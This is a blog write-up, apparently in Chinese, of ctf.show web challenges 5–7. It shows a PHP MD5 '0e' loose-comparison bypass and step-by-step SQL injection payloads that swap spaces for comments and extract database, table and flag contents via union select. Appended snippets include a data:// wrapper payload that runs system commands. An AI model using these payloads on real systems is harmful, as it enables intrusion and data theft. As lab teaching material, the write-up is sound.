首页 > 其他分享 >test1_1_2

test1_1_2

时间:2024-07-17 21:59:01浏览次数:16  
标签:test1 传入 union admin flag id select

web5

题目

分析

php 代码审计题,看看代码:

<?php
error_reporting(0);  // 出错不报错
    
?>
<html lang="zh-CN">  // 中文语言

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" />
    <title>ctf.show_web5</title>
</head>
<body>
    <center>
    <h2>ctf.show_web5</h2>
    <hr>
    <h3>
    </center>
    <?php
        $flag="";
        $v1=$_GET['v1'];  // get请求传入v1的值
        $v2=$_GET['v2'];  // get请求传入v2的值
        if(isset($v1) && isset($v2)){  // 如果对v1和v2都传入了值
            if(!ctype_alpha($v1)){  // 如果向v1传入的字符串中存在非字母字符
                die("v1 error");  // 输出“v1 error”并退出脚本
            }
            if(!is_numeric($v2)){  // 如果向v2传入的不是数字或数字字符串
                die("v2 error");  // 输出“v2 error”并退出脚本
            }
            if(md5($v1)==md5($v2)){  // 如果v1和v2的md5值在转换为相同类型后相等
                echo $flag;  // 输出flag
            }
        }else{
        
            echo "where is flag?";  // 输出“where is flag?”
        }
    ?>

</body>
</html>

源码对 v1 和 v2 的 md5 值进行松散比较。我们知道不同的明文计算出的 md5 值不可能相同,所以我们只能通过向 v1 传入字母字符串并向 v2 传入数字,使二者计算出的 md5 值转换为数字类型后相等即可。因为 php 会将“数字 + e”开头的字符串解释为科学计数法表示的数字,即 AeB 表示为值 \(A×10^{B}\),那么以 0e 开头的数字将一律被解释为 0。根据这一特点找到符合条件的 v1 和 v2 进行哈希值碰撞即可。


payload:?v1=QNKCDZO&v2=240610708

参考

PHP弱类型比较(松散比较)方面的漏洞-日暮途远.-CSDN
常见的MD5碰撞:md5值为0e开头-烟雨天青色-CSDN

web6

题目

分析

又是一道 sql 注入题,尝试万能密码 admin' or 1=1 # 注入用户名,密码随意,得到回显:


看来被过滤了,尝试了多种万能密码都得到相同的回显。


多次尝试绕过后,发现存在空格过滤,我们通过 admin'/**/or/**/1=1/**/# 完全替代空格对空格进行绕过:


之后的操作类似于 web2,我们从 admin'/**/or/**/1=1/**/order/**/by/**/10# 开始递减,尝试到 admin'/**/or/**/1=1/**/order/**/by/**/3# 时得到回显,说明该表的字段数为 3:


我们再向用户名传入 admin'/**/or/**/1=1/**/union/**/select/**/1,2,3#,在第 2 个字段得到回显:


向用户名传入 admin'/**/or/**/1=1/**/union/**/select/**/1,database(),3#,得到数据库名为 web2:


向用户名传入 admin'/**/or/**/1=1/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='web2'),3#,得到 web2 的表名 flag 和 user:


向用户名传入 admin'/**/or/**/1=1/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'),3#,得到字段名 flag:


向用户名传入 admin'/**/or/**/1=1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3#,得到 flag 内容。

参考

千方百技第六期|MySQL注入绕过思路分享-安全玻璃盒_杭州孝道科技-FreeBuf网络安全行业门户
ctfshow_WriteUp | WEB-Guanz-博客园

web7

题目

分析

依次点击查看三篇文章,发现 url 分别为 index.php?id=1 index.php?id=2 index.php?id=3


尝试将 id 值改为 10000 和 -1,页面正常显示,猜测对 id 的值存在 sql 注入:


使用万能密码,对 id 传入值 ?id=1 or 1=1,发现存在过滤:


不会又是过滤空格吧?试试:


(邪魅一笑


查查字段数。还是从 ?id=1/**/or/**/1=1/**/order/**/by/**/10 开始递减,尝试到 ?id=1/**/or/**/1=1/**/order/**/by/**/3 时显示三篇文章内容,说明该表的字段数为 3:


看看回显位置。传入 ?id=1/**/or/**/1=1/**/union/**/select/**/1,2,3,在字段 2、3 的位置均得到回显:


我们选择向字段 2 的位置进行注入。传入 ?id=1/**/or/**/1=1/**/union/**/select/**/1,database(),3,得到数据库名为 web7:


向 id 继续传入 ?id=1/**/or/**/1=1/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema="web7"),3,得到 web7 的三个表名 flag,page,user:

这里的 table_schema 赋为 'web7' 时无法显示,需要用双引号包裹,猜测是存在单引号过滤。


向 id 传入值 ?id=1/**/or/**/1=1/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name="flag"),3,得到字段名 flag:


继续传入 ?id=1/**/or/**/1=1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3,得到 flag 内容。

标签:test1,传入,union,admin,flag,id,select
From: https://www.cnblogs.com/Guanz/p/18308381

相关文章

  • test1_1_1
    web签到题题目web签到题分析F12打开html文件:将注释进行Base64解码得到flag。web2题目最简单的SQL注入分析看着应该是SQL注入题。先尝试使用admin和123456登录,发现没有任何回显。看来报错被屏蔽了。显然admin栏如果注入成功则属于字符型注入。尝试......
  • test111_2
    web3题目更简单的web题分析代码出现include,猜测是文件包含漏洞。通过data://数据流+php命令执行函数查询当前工作目录下的内容,使用hackbar需要先进行url编码:得到flag文件名和首页文件:?url=data://text/plain,%3C%3Fphp%0Asystem('catctf_go_go_go')%3B%......
  • test111_1
    web签到题题目web签到题分析F12打开html文件:将注释进行Base64解码得到flag。web2题目最简单的SQL注入分析看着应该是SQL注入题。先尝试使用admin和123456登录,发现没有任何回显。看来报错被屏蔽了。显然admin栏如果注入成功则属于字符型注入。尝试......
  • pythontest1
    importitertoolsdefpermutations_combinations(n,m,letters):#排列序列permutations=list(itertools.permutations(letters,m))permutation_output=[''.join(permutation)forpermutationinpermutations]#组合序列,按字母升序排列combination......
  • Numerical Results of Test1
     ......
  • test1227
    冒泡排序题意:给定\(a_1,a_2,...,a_n\)和\(m\)个三元组\((l_i,r_i,s_i)\)。每个三元组对应如下函数,修改\(\{a_n\}\)中的元素并返回一个布尔值。defbubble(l,r,s):foriinrange(s,n+1):#s<=i<=nifl>a[i]:l,a[i]=a[i],lret......
  • test1211
    别急。先更一波T2,T3。七管荧光灯可以状压打表可以发现:一种局面为必败状态当且仅当满足\(a_{1}=x,a_{2}=x,a_{3}=x,a_{4}=y,a_{5}={z},a_{6}=z,a_{7}=z\)且\(x\oplusy\oplusz=0\)。然后就可以数位dp了,记个\(f_{i,0/1,0/1,0/1,0/1,0/1,0/1}\)。随便跑跑就行。字符串......
  • C:\Users\17482\Desktop\ERP——test1\SpringBoot-ERP-master\src\main\java
    这个错误表明在你的Java类文件UserImp.java中,找不到MyBatis的注解包org.apache.ibatis.annotations。这个包中包含了MyBatis的注解,比如@Select、@Insert等。首先,请确保你的项目正确引入了MyBatis的依赖。在你的pom.xml文件中应该包含类似以下的依赖配置:<dependency......
  • C:\Users\17482\Desktop\ERP——test1\SpringBoot-ERP-master\src\main\java
    这个错误表明在你的Java类文件UserImp.java中,找不到MyBatis的注解包org.apache.ibatis.annotations。这个包中包含了MyBatis的注解,比如@Select、@Insert等。首先,请确保你的项目正确引入了MyBatis的依赖。在你的pom.xml文件中应该包含类似以下的依赖配置:<dependency......
  • test1111
    [root@localhostharbor]#cat/etc/docker/daemon.json{"registry-mirrors":["http://f1361db2.m.daocloud.io"],"insecure-registries":["192.168.56.146"] #<<=加入harbor的地址} ......